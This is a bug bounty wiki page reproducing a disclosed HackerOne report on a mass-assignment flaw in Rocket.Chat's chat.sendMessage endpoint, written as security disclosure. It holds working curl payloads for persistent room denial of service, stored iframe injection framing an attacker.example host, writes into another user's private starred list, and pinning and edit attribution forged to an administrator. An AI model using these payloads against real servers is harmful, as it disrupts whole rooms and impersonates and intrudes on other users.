Skip to content
IDOR Disclosed report Intermediate CVE-2026-106075

Mass assignment in chat.sendMessage allows unprivileged users to forge message state: persistent room DoS, stored HTML injection, and cross-user write

The chat.sendMessage REST endpoint accepts arbitrary internal message fields because the nested message schema lacks additionalProperties:false and required validation, unlike other message paths. An authenticated low-privileged user can forge message metadata to cause persistent room-wide denial of service, inject stored HTML/iframes, write to another user's private starred list, pin messages without permission with spoofed attribution, spoof edit attribution, and register invisible mentions.

morisson Follow

Originally disclosed on HackerOne

  • Triaged in 25 days
  • Fixed in 25 days
  • Disclosed after 55 days

Summary by the program

The POST /api/v1/chat.sendMessage endpoint in Rocket.Chat fails to enforce a strict schema on the nested message object. Although the outer request schema sets additionalProperties: false, the inner message schema lacks equivalent restrictions and required-field validation. Unlike other message submission paths, this REST endpoint calls executeSendMessage directly, bypassing the DDP method's strict field allow-list.

As a result, an authenticated user with only the default user role and permission to post messages can inject arbitrary internal message properties that are persisted and subsequently trusted by server-side processing and client-side rendering.

This single root cause enables six distinct security impacts:

  1. Persistent room-level denial of service: Malformed message properties can crash the entire room view for all members. Certain payloads also break server-side message retrieval APIs, while another requires administrator-level database intervention to recover.
  2. Stored HTML/iframe injection: Forged link-preview metadata allows attacker-controlled iframe content to be rendered within the application's origin when link previews are enabled (the default configuration), bypassing normal oEmbed provider restrictions.
  3. Unauthorized modification of private user state: Attackers can silently insert messages into another user's private Starred Messages list without their consent.
  4. Unauthorized message pinning and attribution spoofing: Attackers can bypass pinning permissions, forge the identity of the user who pinned a message, and avoid generating the corresponding audit event.
  5. Message edit attribution spoofing: Attackers can forge edit metadata to make messages appear to have been edited by arbitrary users.
  6. Invisible user mentions: Attackers can register mentions of other users through crafted markdown structures without displaying the mentions in the message content.

All six issues originate from the same missing validation boundary: client-controlled message metadata is accepted through chat.sendMessage without enforcing the expected field restrictions or ensuring that sensitive properties are generated and controlled exclusively by trusted server-side logic.

The vulnerability compromises availability, message integrity, authorization boundaries, audit reliability, and user trust. A single CVE is proposed for the shared root cause, with the six demonstrated exploitation scenarios documenting its broader security impact.

The report

Summary

POST /api/v1/chat.sendMessage validates the outer request body but not the inner message object. The outer object declares additionalProperties: false; the inner one declares neither additionalProperties: false nor required, so any IMessage field outside its short property list is accepted, persisted, and subsequently trusted by both the server and the client.

An account holding only the default user role, with no per-room roles and no elevated permissions, can therefore set fields including md, reactions, actionLinks, urls, parseUrls, pinned, pinnedBy, starred, editedBy and editedAt.

This is an outlier rather than the general pattern. chat.postMessage sets additionalProperties: false, and the corresponding DDP method applies an exact-match check() allow-list, the REST endpoint bypasses the latter by calling executeSendMessage directly.

Six distinct impacts are demonstrated below, ordered by severity.

Steps To Reproduce

All requests use:

POST /api/v1/chat.sendMessage
Content-Type: application/json
X-Auth-Token: <token>
X-User-Id: <userId>

Reproduced throughout with an account holding only the default user role.


1. Persistent room-level denial of service

Five payloads. Each makes a room's message view unusable for every member.

Bash
# 1a. missing UI Kit elements
curl -s -X POST "$HOST/api/v1/chat.sendMessage" -H "X-Auth-Token: $TOK" \
  -H "X-User-Id: $UID" -H 'Content-Type: application/json' \
  -d '{"message":{"rid":"<RID>","blocks":[{"type":"actions"}]}}'
#     also reproducible with "blocks":[null], or an actions block with "elements":[null]

# 1b. invalid markdown AST  (msg MUST be empty or the server regenerates md)
  -d '{"message":{"rid":"<RID>","msg":"","md":"x"}}'

# 1c. malformed reactions   <- this one also fails server-side
  -d '{"message":{"rid":"<RID>","reactions":{"x":{}}}}'

# 1d. malformed action links  <- this one cannot be undone via the API
  -d '{"message":{"rid":"<RID>","actionLinks":[null]}}'

# 1e. invalid linear scale range
  -d '{"message":{"rid":"<RID>","blocks":[{"type":"actions","elements":[
        {"type":"linear_scale","maxValue":4294967295}]}]}}'

Then open the channel in the web client. The entire message list fails to render, not only the offending message. The condition persists across page refreshes, and the Reload action on the error screen re-triggers it. Other rooms remain usable.

Payload 1c is not confined to the client. The same dereference occurs server-side while preparing messages for delivery:

POST /api/v1/chat.sendMessage   -> HTTP 400, but the message is stored anyway.
                                   The failure happens after the insert, so the
                                   sender never receives the message id.
GET  /api/v1/channels.history   -> HTTP 400
                                   "Cannot read properties of undefined (reading 'forEach')"
GET  /api/v1/chat.syncMessages  -> HTTP 400, same error

So the room becomes unreadable through the REST API as well, integrations, bots, exports and mobile clients fail alongside the browser. chat.search was unaffected in testing.

Recovery differs by payload, and 1d cannot be recovered through the API at all. For 1a, 1b, 1c and 1e, deleting the message by id restores the room; the difficulty is obtaining that id, since the message list will not render and 1c returns an error instead of the id.

For 1d, deleting is not sufficient. actionLinks is not stripped on deletion, and deletion sets t:"rm", making it a system message, and the system-message renderer is one of the three sites that destructures actionLinks, so the crash continues from the tombstone. Verified stored document after deletion:

JSON
{"t":"rm","msg":"","actionLinks":[null]}

An administrator must prune the message. There seems to be no API path that clears it.


2. Stored HTML / iframe injection in the application origin

Precondition: link previews enabled (API_Embed, shown in administration as "Embed Link Previews"). It ships enabled, verified at the 8.7.0 tag and in 8.9.0-develop, so a default installation is affected. The test instance had it disabled; it was enabled to confirm the rendering half.

Bash
curl -s -X POST "$HOST/api/v1/chat.sendMessage" -H "X-Auth-Token: $TOK" \
  -H "X-User-Id: $UID" -H 'Content-Type: application/json' -d '{"message":{
    "rid":"<RID>","msg":"hi","parseUrls":false,
    "urls":[{"url":"https://example.com/","ignoreParse":true,
      "meta":{"ogType":"rich",
        "oembedHtml":"<iframe src=\"https://attacker.example/\" width=\"500\" height=\"300\"></iframe>"}}]}}'

parseUrls:false stops the server regenerating urls; ignoreParse:true makes the afterSave OEmbed pass skip the entry. The url value is arbitrary and never fetched. The iframe src must be a host that does not send X-Frame-Options.

Result: the message is stored with oembedHtml intact and the client renders it. An iframe pointing at an arbitrary third-party origin is displayed inside the channel, with src and inline styles preserved exactly as submitted.

Why this is a bypass rather than the feature working: oembedHtml is normally accepted only for URLs belonging to registered oembed providers and is stripped for everything else. Verified by control test, the same domain posted as an ordinary link renders only a summary card with title and description, and is not framed, because it is not a registered provider. Link previews embed providers, not arbitrary sites; supplying the urls array directly removes that restriction. Two further differences: the framed origin is normally chosen by the provider registry rather than the sender, and provider markup is force-clamped to width:400px; height:225px on the way in. Neither applies to a forged entry.

The storage half does not depend on the setting, the forged oembedHtml is accepted and persisted regardless; only rendering requires API_Embed.

Scope limits, both established by testing and stated for accuracy:

  • Positioning does not escape the message area. An iframe styled position:fixed with viewport dimensions is clipped by an ancestor containing block; sidebar, channel header and composer remain visible and usable. Overlaying application chrome, and clickjacking against it, was not achievable.
  • This is HTML injection, not script execution. Script tags and event handlers are still removed by the sanitiser.

3. Writing into another user's private starred list

Bash
  -d '{"message":{"rid":"<RID>","msg":"...","starred":[{"_id":"<VICTIM_USER_ID>"}]}}'

The message appears in the victim's Starred Messages for that room. The victim never starred it and no starring endpoint was called.

Verification must be performed from the victim's account, the response returned to the sender shows starred: [], because the field is filtered to the requesting user. That is expected and is not evidence of stripping.

Starred Messages is private per-user state that no other user can see, so the victim has no way to notice it was written to. The forged entry survives deletion of the message and must be removed by hand, so deleting the offending message is not a remedy.


4. Pinning without permission, with forged attribution

Bash
  -d '{"message":{"rid":"<RID>","msg":"...","pinned":true,
        "pinnedAt":"2026-08-28T10:00:00.000Z",
        "pinnedBy":{"_id":"fake-admin-id","username":"administrator"}}}'

The message appears in the room's Pinned Messages. The same account, in the same room, minutes earlier, was refused by the supported endpoint:

POST /api/v1/chat.pinMessage  ->  HTTP 400  "Not Authorized [not-authorized]"

The pinned list attributes the pin to administrator, a username supplied in the request, with an identifier corresponding to no user.

Three controls are bypassed at once: the pin-message permission, the audit record (no message_pinned system message is generated, so nothing records who pinned it), and the integrity of the attribution. The pinned-messages listing is driven by the stored flag alone, so Message_AllowPinning is bypassed by the same means; that setting was enabled during testing, so only the permission bypass was observed directly.


5. Attributing an edit to another user

Bash
  -d '{"message":{"rid":"<RID>","msg":"...","pinned":true,
        "editedAt":"2026-08-28T09:15:00.000Z",
        "editedBy":{"_id":"totally-made-up-id","username":"<ANOTHER_USER>"}}}'

Open the Pinned Messages panel and hover the edit indicator. The tooltip states the message was edited by the named user. That user never interacted with it, and the supplied identifier corresponds to no account, only the username is rendered.

Reproduction note: the indicator appears in the contextual panels (Pinned, Starred, Mentions, Discussions) and on jump-to-message, but not in the main timeline, because editedAt arrives as a string and only views that refetch via mapMessageFromApi revive it to a Date. The forged editor must be someone other than the person viewing, or the tooltip omits the username.

Partial mitigation, stated for completeness: the indicator renders in a warning colour when author and claimed editor differ, though it carries no label explaining the distinction.


6. Mentioning users invisibly

Bash
  -d '{"message":{"rid":"<RID>","msg":"",
        "md":[{"type":"PARAGRAPH","value":[{"type":"PLAIN_TEXT","value":"no mention here"}]},
              {"type":"HIDDEN_BLOCK","value":[{"type":"MENTION_USER",
                "value":{"value":"<VICTIM_USERNAME>"}}]}]}}'

msg must be empty, otherwise the server regenerates md and discards the supplied value.

The response contains a fully resolved mention for the target user and the target's client registers the mention, while the message displays no mention at all. The mention is carried in a block type the message parser cannot produce and the interface does not render: the AST extractor recurses into any node with an array value without validating the node type, while the renderer returns null for unknown block types.

Not confirmed: notification delivery. Push was disabled on the test instance and the room exceeded the member limit above which notifications are suppressed. What was observed is mention registration and the unread indicator.

@all and @here are correctly blocked on this path and are not affected.

Impact

A user with nothing but the ability to post in a channel can:

  • Make that channel unusable for every member, persistently, with no interaction from victims. One payload also breaks the room server-side, so REST consumers, bots, exports and mobile clients fail alongside the browser. One payload cannot be cleared through the API at all and requires an administrator to prune it.
  • Render attacker-controlled pages inside a trusted channel on a default installation, with no link for the viewer to inspect and no navigation away from the application, plus an automatic outbound request from every viewer disclosing IP address and user agent.
  • Write into another user's private state, silently and irreversibly by normal means.
  • Bypass the pin-message permission and forge the attribution so the action appears to have been taken by an administrator, with no audit record.
  • Attribute edits to other named users with no history to contradict it.
  • Mention and notify arbitrary users from a message showing no mention, defeating moderation or search that looks for @username in message text.

The original report as published on HackerOne, by morisson. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The nested message schema in the chat.sendMessage REST endpoint lacks additionalProperties:false and required-field validation, and the endpoint calls executeSendMessage directly, bypassing the DDP method's strict field allow-list.

Impact

A low-privileged user can persistently break a room for all members, inject stored HTML/iframes when link previews are enabled, write to another user's private starred list, bypass pinning permissions with forged attribution and no audit record, spoof edit attribution, and register invisible mentions; some effects require administrator intervention to recover.

What the attacker needed

Authenticated user with default role; permission to post messages; link previews enabled for HTML injection

The fix

The nested message schema should enforce additionalProperties:false and required fields.

How it was found

  1. Send a POST request to /api/v1/chat.sendMessage with authentication headers and a JSON body containing a message object with a room id and forged fields.
  2. For denial of service, include malformed blocks, reactions, actionLinks, or markdown AST in the message object.
  3. Open the channel in the web client to observe the message list failing to render for all members.
  4. For HTML injection, include a urls array with oembedHtml containing an iframe and set parseUrls to false.
  5. For starred list injection, include a starred array with the victim's user id.
  6. For pinning or edit spoofing, include pinned, pinnedBy, editedBy, or editedAt fields with forged values.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you send a chat message through the API, the server checks the outer request but not the inner message details. This lets a normal user sneak in extra fields that the server normally sets itself, such as who pinned a message or whether it is starred. Those forged values are saved and trusted, so the user can break the room for everyone, put unwanted content in someone else's private list, or pretend an admin did something.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by morisson

View all

1 more disclosed report, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.